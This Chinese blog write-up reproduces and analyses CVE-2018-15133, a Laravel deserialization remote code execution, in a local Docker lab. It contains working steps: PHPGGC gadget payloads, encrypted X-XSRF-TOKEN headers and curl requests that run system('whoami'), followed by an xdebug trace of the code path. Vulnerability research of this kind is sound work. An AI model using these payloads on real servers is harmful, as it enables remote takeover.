简述
2018/12/13 的时候看到玄武实验室推送了这个消息,具体的利用点是要先拿到laravel的APP_KEY,然后才可以进行任意代码执行。(第一次对laravel进行分析,会比较啰嗦详细。)
影响版本 : 5.5.40,5.6.x ~ 5.6.29
复现
环境
服务器
服务器:http://192.168.138.128:8000/
laravel版本:5.6.29
首先是poc的复现,我的服务器已经安装了docker,该poc已经给出了一个Dockerfile。
1 | git clone https://github.com/kozmic/laravel-poc-CVE-2018-15133 |
完成laravel的部署,访问一下。
已经完成,然后执行如下命令,拿到APP_KEY。
1 | docker exec -it $(docker ps --latest --quiet) grep -e \^APP_KEY /var/www/html/laravel/.env |
得到APP_KEY配置:APP_KEY=base64:1xj8/hflqHlO1YlMR/RTJ9EcMjvaub6rA00UfKakqIU=
攻击者
当前环境:windows 10 + cygwin
此时已经拿到APP_KEY了。我们使用PHPGGC来生成一个payload。
1 | ./phpggc Laravel/RCE1 system 'whoami' -b |
响应如下
1 | Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjY6Indob2FtaSI7fQ== |
下载一份cve-2018-15133.php
,然后执行
1 | php cve-2018-15133.php 1xj8/hflqHlO1YlMR/RTJ9EcMjvaub6rA00UfKakqIU= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fX1zOjg6IgAqAGV2ZW50IjtzOjY6Indob2FtaSI7fQ== |
拿到一个有效的payload如下
1 | X-XSRF-TOKEN: eyJpdiI6IklSSkFYMWxFVUF0TVN2ZDZ2QXEzZWc9PSIsInZhbHVlIjoiY3FxTm9MNzkySjZnVEtoY25xaUw2bnBBV2IwZ0Z6OUtOZXlzXC84ME1aZ2xjdnJVMEM1S1lub21JN1pyTjZKWFk5dHdSZzVVY3VzOUR4VVE2VFE4cHlVKzZXSnBiMFB0d3JcL2FPdVJcL20yZktzenlBZHVZdFNMRXlCSVBDUkRmWExpSFhJN1dzaVwvZzBSbU5cL2FXaGRZSDhRTXErZ0E5SWZQeElhRlpMd1h2MlY0VkNNWGE4cjBHOFUyWVNEd3p5ZWFtTE9mTjZUNlFVQ1JMSGpSSWdQVmRHb2lpQVdSYm1pNEFiTm11UzlSdG9ITGU3dlVhYnA3VjN2Skp6QUV0T1pOIiwibWFjIjoiZGM4NjIzNTYwOTU1MTg2YWU1ZDQwNDRjMWUyNGIxNjdlOGE1ZWZiYzZjODdlNjNhYTUyMjhiZjg4N2VlNDQ2OCJ9 |
加到http的header中,以POST方式请求,curl如下
1 | curl http://192.168.138.128:8000/ -H "X-XSRF-TOKEN: eyJpdiI6IklSSkFYMWxFVUF0TVN2ZDZ2QXEzZWc9PSIsInZhbHVlIjoiY3FxTm9MNzkySjZnVEtoY25xaUw2bnBBV2IwZ0Z6OUtOZXlzXC84ME1aZ2xjdnJVMEM1S1lub21JN1pyTjZKWFk5dHdSZzVVY3VzOUR4VVE2VFE4cHlVKzZXSnBiMFB0d3JcL2FPdVJcL20yZktzenlBZHVZdFNMRXlCSVBDUkRmWExpSFhJN1dzaVwvZzBSbU5cL2FXaGRZSDhRTXErZ0E5SWZQeElhRlpMd1h2MlY0VkNNWGE4cjBHOFUyWVNEd3p5ZWFtTE9mTjZUNlFVQ1JMSGpSSWdQVmRHb2lpQVdSYm1pNEFiTm11UzlSdG9ITGU3dlVhYnA3VjN2Skp6QUV0T1pOIiwibWFjIjoiZGM4NjIzNTYwOTU1MTg2YWU1ZDQwNDRjMWUyNGIxNjdlOGE1ZWZiYzZjODdlNjNhYTUyMjhiZjg4N2VlNDQ2OCJ9" --data "" | head -n1 |
响应如下
至此完成了system('whoami')
的执行。
分析
问题定位
查看更新日志以及对比一下5.6.29和5.6.39,应该很快就能定位出问题所在。
为了方便测试,APP_KEY都改为APP_KEY=base64:1xj8/hflqHlO1YlMR/RTJ9EcMjvaub6rA00UfKakqIU=
,这样生成的payload就能通用了
下载5.6.29
1 | git clone https://github.com/laravel/laravel.git && cd laravel && sed -i -e 's/5.7.\*/5.6.29/g' composer.json && composer install |
下载5.6.30
1 | git clone https://github.com/laravel/laravel.git && cd laravel && sed -i -e 's/5.7.\*/5.6.30/g' composer.json && composer install |
好了两个版本装完了。测试一下。
得到了预期的效果。
根据官网更新说明和代码更改情况,可以看到5.6.30对cookie默认禁用了反序列化。
所以这里尝试一下重新开启,在laravel\vendor\laravel\framework\src\Illuminate\Cookie\Middleware\EncryptCookies.php
中有一个属性protected static $serialize = false;
,改为true。
这算是找到了一个问题入口,但是还不够精确,我们尝试生成一个错误的payload,让laravel自动抛出错误,这样就可以拿到最终任意执行的位置和整个栈帧调用情况。尝试poc改为调用不存在的函数hundan
,参数为cit
,生成如下payload。
1 | X-XSRF-TOKEN: eyJpdiI6IkRQSFhqV05GdWZ2K0UxdWhVYjQxYXc9PSIsInZhbHVlIjoiamtJWVJ0MUxvT0NIT1c2cXN1TXhPbWc5bkRBUGMzc05TQURkQkVMUWVZOXdEYnJwYmhFYWtQeEdyak1xZTlmSlNUdEFxakYzNjdCb2k1R282bURGU1hKdEFCRTc4SkMzYXRpSlZEY3Fwa0pjRE5hK3R3MDZLdTVPcDlXTmh2dmJqNVFRY2QybTZPMEhyUzhJT29vWW94b2hqVjRGMXFOT2tRdHF5bytDN2xuXC9NRXJJaFwvT1NNczRLd1p6eHo0R1R0OHc0NU9Yc3hodEtodUpiend2VUcwcG1OdWE1WE51K0lXVzI0UmxGa0QyNXNod2VYaWRyb1pEaHRaVG9rM2FvIiwibWFjIjoiN2ExMzY3OTU4NTMwMDRhOTQ1NWNiYTI2MTAzN2MxNzIwNGFkMjU4NTg0NmIxZDlhMWM1NzdkNDhiOTgxMDlkMSJ9 |
(找了半天浏览器和插件,firefox新版的hackbar不好用,旧版不能下载xdebug helper,chrome更别提了,所以最终还是用burp中转了一下把GET自动改为POST,用Modify Headers for Google Chrome
加了一个header,暂时算是方便了一点)
调用情况一览无余,接下来用xdebug来调试吧。
形成过程分析
在laravel\vendor\fzaninotto\faker\src\Faker\Generator.php:222
处下一个断点,使用正常的payload注入,成功断下
调用链太长就不贴了。
总之请求先发往入口文件index.php
,经过kernel
进入pipeline
,然后进入各个车间进行处理,
参考资料
Laravel源码分析——看一次Http请求到响应
Laravel 中间件原理
Laravel 管道流原理
Laravel 学习笔记 —— 神奇的服务容器
测试区
curl http://127.0.0.1:8000/ -H “X-XSRF-TOKEN: eyJpdiI6IklSSkFYMWxFVUF0TVN2ZDZ2QXEzZWc9PSIsInZhbHVlIjoiY3FxTm9MNzkySjZnVEtoY25xaUw2bnBBV2IwZ0Z6OUtOZXlzXC84ME1aZ2xjdnJVMEM1S1lub21JN1pyTjZKWFk5dHdSZzVVY3VzOUR4VVE2VFE4cHlVKzZXSnBiMFB0d3JcL2FPdVJcL20yZktzenlBZHVZdFNMRXlCSVBDUkRmWExpSFhJN1dzaVwvZzBSbU5cL2FXaGRZSDhRTXErZ0E5SWZQeElhRlpMd1h2MlY0VkNNWGE4cjBHOFUyWVNEd3p5ZWFtTE9mTjZUNlFVQ1JMSGpSSWdQVmRHb2lpQVdSYm1pNEFiTm11UzlSdG9ITGU3dlVhYnA3VjN2Skp6QUV0T1pOIiwibWFjIjoiZGM4NjIzNTYwOTU1MTg2YWU1ZDQwNDRjMWUyNGIxNjdlOGE1ZWZiYzZjODdlNjNhYTUyMjhiZjg4N2VlNDQ2OCJ9” –data “” | head -n1
29原
APP_KEY=base64:mSQd8aRud9n2Oql6AiLxz4Vlu3DZ8MIm/VM+1pJ7mLQ=